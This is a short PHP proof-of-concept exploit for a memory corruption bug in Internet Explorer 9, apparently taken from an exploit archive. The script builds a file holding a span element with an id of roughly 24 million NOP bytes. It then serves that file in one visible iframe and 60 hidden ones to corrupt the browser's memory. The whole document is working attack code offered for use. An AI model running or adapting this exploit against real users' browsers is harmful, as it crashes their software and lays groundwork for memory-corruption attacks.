Internet Explorer 9 Memory Corruption PoC Exploit

<?php

/**********************************************************
*   Internet Explorer 9 Memory Corruption PoC Exploit    *
**********************************************************
*                                                        *
* Successfully executed with IE9 version 9.0.8112.16421  *
*                                                        *
* Discovered by Jean Pascal Pereira <pereira@secbiz.de>  *
*                                                        *
**********************************************************/

set_time_limit(0);

ini_set('memory_limit', '300M');

if(!file_exists("junk.htm"))
{
  $string = "<span id='";
  
  for($i = 0; $i < 24117256; $i++)
  {
    $string .= "\x90";
  }
  $string .= "'></span>";
  
  file_put_contents("junk.htm", $string);
}

print "View the sourcecode of the iframe below (right click -> view source): <br />\n";
print "<iframe style='width: 800px; height: 500px;' src='junk.htm'>\n";

for($i = 0; $i < 60; $i++)
{
  print "<iframe style='display:none' src='junk.htm'>\n";
}

/* http://0xffe4.org */

?>

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